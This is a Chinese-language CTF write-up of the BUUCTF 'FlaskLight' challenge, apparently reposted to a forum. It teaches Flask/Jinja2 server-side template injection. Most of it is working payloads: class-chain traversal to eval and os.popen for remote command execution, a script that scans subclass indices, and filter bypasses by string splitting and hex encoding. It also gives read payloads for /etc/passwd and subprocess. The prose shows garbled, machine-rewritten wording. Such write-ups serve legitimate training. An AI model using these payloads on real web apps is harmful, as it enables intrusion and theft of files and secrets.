模板:
- {{''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__'].eval("__import__('os').popen('type flag.txt').read()")}}
复制代码 | ''是个空字符串,''.__class__代表这个空字符串的类是什么(这里是单引号双引号都行)
.__base__表现追踪它的父类,.__subclass__()表现列出它的子类,而[80]表现它的第八十个子类,.__init__在创建类的新实例时主动调用,用于初始化对象的属性,每个类方法(包罗__init__)都是一个对象,__globals__就是__init__下的方法(子类)
__globals__是个字典,包罗着全部全局变量,此中__builtins__也在内里,而__builtins__是管许多常用的内置函数,好比说eval()呀啥的
__import__和import等价,差异的是__import__可以在背面加个 . 直接调用函数
也可以用['xxxx']取代 .
- {{''['__class__']['__base__']['__base__']['__subclasses__']()[78]['__init__']['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek').read()")}}
复制代码 Payload2 没用eval直接open
- {{''.__class__.__base__.__base__.__subclasses__()[78].__init__['__glo'+'bals__']['__builtins__'].open("/flasklight/coomme_geeeett_youur_flek").read()}}
复制代码 payload3
- {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__['__glo'+'bals__'].values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("cat /flasklight/coomme_geeeett_youur_flek").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
复制代码 payload4
- {{config.__class__.__init__['__glo'+'bals__']['os'].popen('cat /flasklight/coomme_geeeett_youur_flek').read()}}
复制代码 标题:
在源代码中发现用get提交search
存在SSTI
直接套上模板发现不对,我们先一步一步来
"".__class__.__base__按原理来说应该是object但是这里却是basestring,再给他套上一层__base__试试
ok乐成出现object
套了两层__base__着实可以等价于?search={{''.__class__.__mro__[2].__subclasses__()}}中的__mro__
再加上subclasses试试:
好的分析如许是对的,不知道哪个类的__init__含有globals
用py搜刮
- import requests as res
- import time
- for i in range(0,400):
- url="http://822ebf30-6568-45d3-a757-7fa1848f0368.node5.buuoj.cn:81/?search={{''.__class__.__base__.__base__.__subclasses__()[%d].__init__['__glob'+'als__']}}"
- response=res.get(url%i)
- #访问速度过快会返回429,此时就需要暂缓再访问
- if response.status_code!=200:
- time.sleep(0.3)
- response=res.get(url%i)
- print(len(response.text),i,response.status_code)
复制代码 没有一个乐成的,没原理啊
这么搜就对
但是加上__globals__就堕落了
以是很有大概是过滤掉了globals,一搜还真是
绕过方法:
第一种:拼接
将__globals__更换成['__globals__'],然后再把globals拆开,用 + 毗连(py性子)
这里__globals__和['__globals__']有什么区别呢?
['__globals__']是实验以字典键的情势访问__init__对象的__globals__属性
人话就是,假如你访问__globals__,就是访问函数对象的一个内涵属性,假如访问['__globals__']呢,就会触发对象的另一个叫 __getitem__ 方法
测试一下search=glo'+'bal。。。怎么被腰斩了,哦原来+在url中被翻译成空格啊
但是在['__glob'+'al__']内里就能正常拼接,缘故起因是在这内里必要颠末python编译,python编译时间主动拼接,但是在url中直接提交会被翻译成毗连符号
试着RCE,乐成
- /?search={{"".__class__.__base__.__base__.__subclasses__()[78].__init__['__glob'+'als__']['__builtins__'].eval("__import__('os').popen('whoami').read()")}}
复制代码
- /?search={{"".__class__.__base__.__base__.__subclasses__()[78].__init__['__glob'+'als__']['__builtins__'].eval("__import__('os').popen('ls /').read()")}}
复制代码
- /?search={{"".__class__.__base__.__base__.__subclasses__()[78].__init__['__glob'+'als__']['__builtins__'].eval("__import__('os').popen('cat flasklight').read()")}}
复制代码 cat不可,内里啥也没有,以是flasklight是个文件夹(这个玩意没有后缀,早该知道是个文件夹的)
- /?search={{"".__class__.__base__.__base__.__subclasses__()[78].__init__['__glob'+'als__']['__builtins__'].eval("__import__('os').popen('ls flasklight').read()")}}
复制代码
- /?search={{"".__class__.__base__.__base__.__subclasses__()[78].__init__['__glob'+'als__']['__builtins__'].eval("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek').read()")}}
复制代码
第二种:十六进制,unicode编码
WAF/过滤器无法直接辨认编码后的字符串,但模板引擎仍能剖析为原始属性名。
十六进制编码:
- # 原始字符串
- target = "__globals__"
- # 转换为 \xHH 格式的十六进制编码
- hex_encoded = ''.join([f"\\x{ord(c):02x}" for c in target])
- # 结果:\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f
复制代码 这个绕过的比拆分更多
ai比我会呜呜呜
全部用十六进制:
- /?search={{""["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]%20["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[X].__init__["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]}}
复制代码 现实上就是search={{"".__class__.__base__.__base__.subclasses()[78].__init__.__globals__}}
用十六进制编码以后再用 [ ] 括起来
这里__init__不能被十六进制编码
十六进制编码和正常payload混在一块写就行
- /?search={{""["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"] ["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[78].__init__["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f"].eval("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek').read()")}}
复制代码
其他一些payload大概可用的伤害函数:
_frozen_importlib_external.FileLoader 类:该类下有get_data函数可以实现读取文件
- ''.__class__.__base__.__subclasses__()[xx]["get_data"](0,"/etc/passwd")
复制代码 importlib 类:importlib类中的load_module可以引用os
- {{''.__class__.__base__.__subclasses__()[xx]['load_moudule']("os")["popen"]("ls").read()}}
复制代码 subprocess.Popen 类
- {{''.__class__.__base__.__subclasses__()[xx]('ls',shell=True,stdout=-1).communicate()[0].strip()}}
复制代码 SSTI的一些总结
- __builtins__内里用open('xxx.txt').read()语句可以打开阅读文件
- 这个尚有另一种写法就是''['__class__']['__init__']['__globals__']['__builtins__']['eval'](__import__('os').popen('cat xxx').read())
- ['os']模块内里有listdir('/'),可以列出根目次
- {% for c in [].__class__.__base__.__subclasses__() %}
- {% if c.__name__ == 'catch_warnings' %}
- {% for b in c.__init__['__glo'+'bals__'].values() %}
- {% if b.__class__ == {}.__class__ %}
- {% if 'eval' in b.keys() %}
- {{ b['eval']('__import__("os").popen("cat /flasklight/coomme_geeeett_youur_flek").read()') }}
- {% endif %}
- {% endif %}
- {% endfor %}
- {% endif %}
- {% endfor %}
复制代码 这内里b.keys():字典对象的 keys() 方法会返回一个包罗该字典全部键的视图对象,in 运算符用于字典时默认就是查抄键,以是 'eval' in b 和 'eval' in b.keys() 是等价的。因此,模板代码可以简化为 {% if 'eval' in b %}。
参考
SSTI(模板注入)--Flask(萌新向) | [BUUCTF题解][CSCCTF 2019 Qual]FlaskLight & [GYCTF2020]FlaskApp(SSTI) - Article_kelp - 博客园
[CSCCTF 2019 Qual] FlaskLight_[cscctf 2019 qual]flasklight-CSDN博客
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
|